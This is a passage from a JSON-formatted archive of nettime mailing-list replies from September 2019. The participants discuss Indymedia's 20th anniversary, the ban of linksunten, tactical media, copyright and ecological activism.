something planned in Houston hosted by\n                IMC folks there\n                ( at Rice U. ?) ...\n                \n                but nothing in the EU territories yet, as far as we\n                know... and WHY\n                Btropolis?\n                \n                One of its IMC sites is still active,\n                \n                and its more radical sibling offshoot, got the crackdown\n                + kicked off\n                the webz 2 years ago. ( Linksunten )...\n                \n                And there's been heated discussions here about WHAT'S\n                NEXT !!\n                \n                ...\n                \n                liebegreetz !\n                \n                podinski\n                \n                \n                0~~~~O-----o\n                www.xlterrestrials.org/plog\n                \u2028\n                \n\narts + praxis organisms\n                o-----O~~~~~0\n                \n                \n                \n                \n                \n                #\n\n distributed via <nettime>: no commercial use\n                without permission\n                #\n\n <nettime>\n\n is a moderated mailing list for net\n                criticism,\n                #\n\n collaborative text filtering and cultural politics of\n                the nets\n                #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n                #\n\n archive: http://www.nettime.org\n                contact: nettime@kein.org\n                #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in\n                Subject:\n            \n      \n    \n    \n  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00048",
                                "date": "Tue, 10 Sep 2019 13:19:58 +0200",
                                "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>, \"Hoofd, I.M. (Ingrid)\" <I.M.Hoofd@uu.nl>",
                                "message-id": "c8775943&#45;36f7&#45;2d7f&#45;180b&#45;ce248ab0ee2b@mailbox.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00048.html",
                                "content-type": "multipart/mixed",
                                "author_name": "podinski",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            },
                            {
                                "from": "tacira@riseup.net",
                                "content": "hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n\nas for a long time user and educator on free technologies for creative\nmedia production I was a bit skeptical on the article -  we dont need to\ncreate one more leftist tool, but re-ocuppy with purpose and love all\ncollective maintained tools - perhaps more influenced by intersectional\npoltics (I am reading Ocalan :) but the networkS are alive, dormant\nbecause NOT dispersed and very much re-creating itself all the time.\nfree philosophy and ethics becomes just more urgent then ever! As Krenak\nan indigenous leader in brazil says we have been using \"colored\nparachutes\" in this fall \"being able to maintain our subjectivities, our\nvisions, our poetics about existence\". \n\nwe are in shock with the fire but its from the ashes that we create! \n\nhere a recent ongoing work from the brazilian cyberfeminists\nhttps://midiatatica.desarquivo.org/ tactical archives from the last\ndecade by collective perspectives. \n\nbest for all!\nt\n\n\nEm 2019-09-10 08:19, podinski escreveu:\n> Hi Ingrid et al, \n> \n>  hmm, a little shocked that so few want to discuss the indymedia\n> platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled\n> (un-)solidarities... \n> \n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n> \n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very\n>> much alive! I haven't been involved for many years now, but perhaps\n>> we could do something in Amsterdam, or barring that something in\n>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>> involved somehow too!\n>  sorry for slow reply... \n> things have been a little overloaded... \n> \n> good to hear that NL ((i)) is still kicking... i believe there are\n> several still out there providing useful public channels ( as\n> mentioned in the article, ie. Argentina ) !\n> \n> Not quite sure how to proceed with any concrete event plans for\n> Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to\n> be involved...\n> \n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n> \n> but one always has to wonder just how far out of touch the\n> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n> \n> my cynical 2cent bits for the day...\n> \n> podinski\n> \n>> Cheers, Ingrid.\n>>\n>> -------------------------\n>>\n>> From: nettime-l-bounces@mail.kein.org\n>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>> <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time,\n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>> there\u2019s\n>> probably many more things that need to be analyzed in the history of\n>> the\n>> Internet and digital culture to understand and assess whether\n>> \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>>>\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more\n>> than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the\n>> military/corporate\n>> communication industries, now oozing ubiquitous through all the\n>> tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>> Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>>>\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired\n>> type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>> touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks\n>> there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked\n>> off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog [1] \u2028\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n>  \n> \n> Links:\n> ------\n> [1] http://www.xlterrestrials.org/plog\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00049",
                                "date": "Wed, 11 Sep 2019 05:38:06 -0700",
                                "to": "podinski <podinski@mailbox.org>",
                                "message-id": "dd040be8c1c3fa9b3d539f1881a529fa@riseup.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00049.html",
                                "content-type": "text/plai",
                                "author_name": "tacira",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            },
                            {
                                "from": "podinski <podinski@mailbox.org>",
                                "content": "Hi Tati et al,\n\na pleasure to read some news from ya...\n\n+ thx for the link !\n\n...\n\nOn 9/11/19 2:38 PM, tacira@riseup.net wrote:\n> hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n>\n> as for a long time user and educator on free technologies for creative\n> media production I was a bit skeptical on the article -  we dont need to\n> create one more leftist tool, but re-ocuppy with purpose and love all\n> collective maintained tools - perhaps more influenced by intersectional\n> poltics (I am reading Ocalan :) but the networkS are alive, dormant\n> because NOT dispersed and very much re-creating itself all the time.\n> free philosophy and ethics becomes just more urgent then ever! As Krenak\n> an indigenous leader in brazil says we have been using \"colored\n> parachutes\" in this fall \"being able to maintain our subjectivities, our\n> visions, our poetics about existence\". \nyes, well it is not hard for me to be critical about More leftist tools...\nwe are getting very lost - and abused - in all the tooling around.\n\nAnd i think the article may point out clearly towards HOW we lost one\npossible road that the net could have taken to network our communities,\nsolidarities and resistance... \n\nI probably dont need to go into the details here of how that all got\nco-opted and used in the creepiest of ways to consolidate power and turn\nus all into its subjects and products.  ( Neo-liberal + libertarian\nnetz, surveillance krapitalism and all that mess )\n\nIF the net can be reclaimed at all from the monstrous sprawl of\nill-intents...\nit would probably require new architectures that cannot be easily\nswallowed up by the Titans' toxic web.\n\nAs Rasmus Fleischer pointedly remarked at one of the recent\nTransmediales : this is what a failed rev looks like.\n\nI don't have any clear proposals for that, but that could be part of\nwhat would make sense with this ((i)) anniversary...\nto understand what we lost, and how we got where we are... and what\nrecourse makes sense now...\n\n...\n\nFrom an XLterrestrial perspective, it might be an important tactical\nmaneuver to get our feet back on the ground, locally...  and \"shield\nourselves\" from the fallout of having \"lost the digital revolution\" ...\nand get more focused on our biological + ecological struggles.\n\n...\n\nXLt is perhaps far more optimistic about what we can achieve by learning\nfrom the cultures of resistance in the global south... and outside all\nthe tech hype !\nAnd not allowing the domination of tech environments to be our\nsurrogated means to imagining any new re-occupying strategies.\n\n...\n\nJust read yesterday an interesting story about Food Sovereignty and in\n2011 Russia... 40% of the food came from Dacha gardens... \n\n\"dacha gardens produced over 80% of the countries fruit and berries,\nover 66% of the vegetables, almost 80% of the potatoes and nearly 50% of\nthe nations milk, much of it consumed raw. \"\n\nhttp://naturalhomes.org/naturalliving/russian-dacha.htm?fbclid=IwAR1ia40bjy-j6-1H8DnGejakGBeg0Gn1VqED6sjk5A6sN8KOGg35hyn7pkE\n\nhavent checked out the accuracy of this, but the shift in topics +\norganizational objectives...  seems very revelant !\n\n...\n\nJust last year Chaos Congress teamed up with FifF and others to put on a\nconference called Bits Und Baume ( and trees ) to finally take seriously\nthe ecological consequences of the poorly miscalculated unsustainability\nof all our endlessly expanding high tech cultures.\n\nIt only took 35 years for CCC to get around to this crucial topic... ;)\n... but i think some good things are coming together for further\ninvestigations into realistic terrestrial-based missions ... and less in\n\"hackers on the moon\".\n\nhttps://bits-und-baeume.org/en\n\n...\n\nLastly,\nto emphasize my points...\n\ni leave you all with this talk from Boaventura de Sousa Santos ...\nat HKW's Now is The Time Of Monsters : What comes after Nations... in\n2017...\n\n( which followed a talk from Felix Stadler on Protocols - and tech - for\nDemocracy? )\n\nAnd it might be a useful reminder to help put things into proper\nperspective and more productive debates...\nand more paying attention to what we don't necessarily see on our (Euro)\nscreens...\n\nthings that are working ... outside those corporate, futurist +\nindustrial hives !\n\nStaatstechnologien - Democracy | Boaventura de Sousa Santos\nhttps://www.hkw.de/de/app/mediathek/video/55789\n\n\"converting ruins into seeds\"\n\nand i love the last line...\n\n\"i want us to be competent rebels !\"\n\npodinski\n\n\n\n\n\n \n\n\n\n\n   \n\n\n>\n> we are in shock with the fire but its from the ashes that we create! \n>\n> here a recent ongoing work from the brazilian cyberfeminists\n> https://midiatatica.desarquivo.org/ tactical archives from the last\n> decade by collective perspectives. \n>\n> best for all!\n> t\n>\n>\n> Em 2019-09-10 08:19, podinski escreveu:\n>> Hi Ingrid et al, \n>>\n>>  hmm, a little shocked that so few want to discuss the indymedia\n>> platform topic... and what it means for today's struggles... \n>> but na ja, so it goes in the web flood of efficiently cubicled\n>> (un-)solidarities... \n>>\n>> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>>\n>>> Hello ex-((i)) and ex-N5M3 folks,\n>>>\n>>> Just like to point out that https://www.indymedia.nl/ is still very\n>>> much alive! I haven't been involved for many years now, but perhaps\n>>> we could do something in Amsterdam, or barring that something in\n>>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>>> involved somehow too!\n>>  sorry for slow reply... \n>> things have been a little overloaded... \n>>\n>> good to hear that NL ((i)) is still kicking... i believe there are\n>> several still out there providing useful public channels ( as\n>> mentioned in the article, ie. Argentina ) !\n>>\n>> Not quite sure how to proceed with any concrete event plans for\n>> Nov.... or beyond. \n>> but happy to hear that there are some comrades out there who want to\n>> be involved...\n>>\n>> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n>> https://2020.transmediale.de/festival-2020\n>>\n>> but one always has to wonder just how far out of touch the\n>> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n>> i will check in to see, if not already too late. \n>>\n>> my cynical 2cent bits for the day...\n>>\n>> podinski\n>>\n>>> Cheers, Ingrid.\n>>>\n>>> -------------------------\n>>>\n>>> From: nettime-l-bounces@mail.kein.org\n>>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>>> <podinski@mailbox.org>\n>>> Sent: 06 September 2019 15:42\n>>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>>\n>>> hello N-time,\n>>>\n>>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>>\n>>> April Glaser writes a good short history of the pioneering\n>>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>>> there\u2019s\n>>> probably many more things that need to be analyzed in the history of\n>>> the\n>>> Internet and digital culture to understand and assess whether\n>>> \u201cAnother\n>>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>>> communities tomorrow\u2026\n>>>\n>>> https://logicmag.io/bodies/another-network-is-possible/\n>>>\n>>> ...\n>>>\n>>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>>\n>>> http://xlterrestrials.org/plog/?p=19424\n>>>\n>>> excerpt from Part 1: Where are we now ?\n>>>\n>>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>>> heads as we write\u2026 )\n>>>\n>>> This is an extremely complicated discussion, and it will take more\n>>> than\n>>> a short essay to sort through all the angles and dilemmas we find\n>>> ourselves soaking in with the cybernetic technodystopias +\n>>> technospherical spectrum +/or rectal probes of the\n>>> military/corporate\n>>> communication industries, now oozing ubiquitous through all the\n>>> tissues\n>>> and orifices of human + social organization like electro-shock +\n>>> doctrines + disruption therapies to cure our inherited\n>>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>>> Here\n>>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>>\n>>> ...\n>>>\n>>> On a tangent note, it would be nice to put on some Indy-inspired\n>>> type\n>>> tactical media event...\n>>>\n>>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>>\n>>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>>> touch !\n>>>\n>>> There is already something planned in Houston hosted by IMC folks\n>>> there\n>>> ( at Rice U. ?) ...\n>>>\n>>> but nothing in the EU territories yet, as far as we know... and WHY\n>>> Btropolis?\n>>>\n>>> One of its IMC sites is still active,\n>>>\n>>> and its more radical sibling offshoot, got the crackdown + kicked\n>>> off\n>>> the webz 2 years ago. ( Linksunten )...\n>>>\n>>> And there's been heated discussions here about WHAT'S NEXT !!\n>>>\n>>> ...\n>>>\n>>> liebegreetz !\n>>>\n>>> podinski\n>>>\n>>> 0~~~~O-----o\n>>> www.xlterrestrials.org/plog [1] \u2028\n>>> arts + praxis organisms\n>>> o-----O~~~~~0\n>>>\n>>> #  distributed via <nettime>: no commercial use without permission\n>>> #  <nettime>  is a moderated mailing list for net criticism,\n>>> #  collaborative text filtering and cultural politics of the nets\n>>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>  \n>>\n>> Links:\n>> ------\n>> [1] http://www.xlterrestrials.org/plog\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00050",
                                "date": "Wed, 11 Sep 2019 19:40:15 +0200",
                                "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                "message-id": "04c850bf&#45;988b&#45;7a06&#45;ea4f&#45;bed0c7dc9af8@mailbox.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00050.html",
                                "content-type": "text/plai",
                                "author_name": "podinski",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            },
                            {
                                "from": "podinski <podinski@mailbox.org>",
                                "content": "Hi Matze,\n\ni tried recently to follow and catch-up on the debacle of linksunten and\nstate censorship...\nand picked up the pamphlet :\nverboten ! zur Kriminalisierung von Indymedia linksunten\nvia Rote Hilfe e.v.\n\nbut havent yet had time to get thru it.\n\n...\n\nre: the issue of the liberated webs and copy left...\ni have begun to think that another unexpected + massive fallout has\noccurred with all this online free content falling into... the Titan\ngrip...\n\nand in the idealism of trying to \" common-ize\" and/or \"dismantle\ncapitalism\" on the net, but not in the AFK world... as the majority of\nus still live in the realms of landlord strangleholds...\n \nprotection of labor and the livelihoods of content producers and indy\npublishers + DIY distro merchants was not very well considered... in the\neco-systems of books, media, data, small business and shop owners... \nand people's having to make their money to survive... pay rent.... or\nrecoup their production budgets ( see Astra Taylor's The People's\nPlatform )...\n\nCopyright is a completely re-openable subject... of hot debate....\n\nwhich HKW is also being revisited again this year ( 100 Years Of\nCopyright and Part 2 : Right the Right...  this Nov. )\n... but i am not so hopeful they will handle the topic radically enough,\nbecause in the end they are already looking for tech solutionism to fill\nin the grim situations... ie blockchain in the music industry ?\n\nbut no time to get very sophisticated in that beastly and tedious topic.\n\n...\n\ncheers,\np.\n\n\n  \nOn 9/10/19 5:40 PM, Matze Schmidt wrote:\n> One more:\n>\n> Sebastian Luetgert in an interview mit textz.com (in German): \n> https://de.indymedia.org/2004/03/76975.shtml\n>\n> Am 10.09.2019 um 16:12 schrieb Matze Schmidt <matzeschmidt@matzeschmidt.de>:\n>\n> Hi,\n>\n> I remember when topics died. Esp. when Sebasian Luetgert 10?, 15? years ago was about sceptical talking about indymedia some years after the beginning of this platform. The radical pragmatists in Berlin sat there with a shrug.\n>\n> What's more important now is a struggle by a left against a state as a censor amidst the general new swing to the right, see here in German:\n>\n> https://twitter.com/zineworkshop/status/1161884759364198400?s=20\n>\n> Matze\n>\n> Am 10.09.2019 um 13:19 schrieb podinski <podinski@mailbox.org>:\n>\n> Hi Ingrid et al,\n>\n> hmm, a little shocked that so few want to discuss the indymedia platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled (un-)solidarities... \n>\n>\n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very much alive! I haven't been involved for many years now, but perhaps we could do something in Amsterdam, or barring that something in Berlin together with the Dutch ((i)) folks? I'd be happy to be involved somehow too!\n> sorry for slow reply... \n> things have been a little overloaded... \n>\n> good to hear that NL ((i)) is still kicking... i believe there are several still out there providing useful public channels ( as mentioned in the article, ie. Argentina ) !\n>\n> Not quite sure how to proceed with any concrete event plans for Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to be involved...\n>\n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n>\n> but one always has to wonder just how far out of touch the arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n>\n> my cynical 2cent bits for the day...\n>\n> podinski\n>\n>\n>\n>\n>\n>\n>\n>\n>> Cheers, Ingrid.\n>>\n>>\n>> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of podinski <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time, \n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\n>> probably many more things that need to be analyzed in the history of the\n>> Internet and digital culture to understand and assess whether \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the military/corporate\n>> communication industries, now oozing ubiquitous through all the tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog \n>>\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>>\n>>\n>>\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>\n>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00051",
                                "date": "Wed, 11 Sep 2019 22:07:48 +0200",
                                "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                "message-id": "e57376de&#45;eed7&#45;c87b&#45;6434&#45;f039d6c4f9ea@mailbox.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00051.html",
                                "content-type": "text/plai",
                                "author_name": "podinski",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            }
                        ],
                        "from": "\"Hoofd, I.M. (Ingrid)\" <I.M.Hoofd@uu.nl>",
                        "content": "\n\n\n\nHello ex-((i)) and ex-N5M3 folks,\n\n\n\n\nJust like to point out that\n\nhttps://www.indymedia.nl/\n\nis still very much alive! I haven't been involved for many years now, but perhaps we could do something in Amsterdam, or barring that something in Berlin together\n with the Dutch ((i)) folks? I'd be happy to be involved somehow too!\n\n\n\n\nCheers, Ingrid.\n\n\n\n\n\n\n\n\n\nFrom: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of podinski <podinski@mailbox.org>\nSent: 06 September 2019 15:42\nTo: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\nSubject: <nettime> 20 years of Indymedia: Where are we now ?!\n\n\n\n\n\nhello N-time, \n\nThis November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n\nApril Glaser writes a good short history of the pioneering\nnetwork/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\nprobably many more things that need to be analyzed in the history of the\nInternet and digital culture to understand and assess whether \u201cAnother\nNetwork Is Possible\u201c\u2026 and where + how tactical media can unite\ncommunities tomorrow\u2026\n\nhttps://logicmag.io/bodies/another-network-is-possible/\n\n...\n\nXLterrestrials are working on an expanded post about ALL that\u2026\n\nhttp://xlterrestrials.org/plog/?p=19424\n\nexcerpt from Part 1: Where are we now ?\n\n>\n\n( that haunting + sad final-years-Bowie tune is playing back in our\nheads as we write\u2026 )\n\nThis is an extremely complicated discussion, and it will take more than\na short essay to sort through all the angles and dilemmas we find\nourselves soaking in with the cybernetic technodystopias +\ntechnospherical spectrum +/or rectal probes of the military/corporate\ncommunication industries, now oozing ubiquitous through all the tissues\nand orifices of human + social organization like electro-shock +\ndoctrines + disruption therapies to cure our inherited\nalready-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\ntake this, it\u2019s another anthropo-scenic downloading spiral into\nStephen-Pinker-esque \"tech-n-progress\u201d Inc.\n\n>\n\n...\n\nOn a tangent note, it would be nice to put on some Indy-inspired type\ntactical media event...\n\nperhaps in the Btropolis ( Berlin ) for this anniversary date...\n\nAny ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n\nThere is already something planned in Houston hosted by IMC folks there\n( at Rice U. ?) ...\n\nbut nothing in the EU territories yet, as far as we know... and WHY\nBtropolis?\n\nOne of its IMC sites is still active,\n\nand its more radical sibling offshoot, got the crackdown + kicked off\nthe webz 2 years ago. ( Linksunten )...\n\nAnd there's been heated discussions here about WHAT'S NEXT !!\n\n...\n\nliebegreetz !\n\npodinski\n\n\n0~~~~O-----o\nwww.xlterrestrials.org/plog \u2028\n\n\narts + praxis organisms\no-----O~~~~~0\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00041",
                        "date": "Sat, 7 Sep 2019 08:05:33 +0000",
                        "to": "podinski <podinski@mailbox.org>, \"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                        "message-id": "DB6PR0502MB2997DC2BE4D8353627EA9750B8B50@DB6PR0502MB2997.eurprd05.prod.outlook.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00041.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Hoofd, I.M. (Ingrid)",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    },
                    {
                        "from": "podinski <podinski@mailbox.org>",
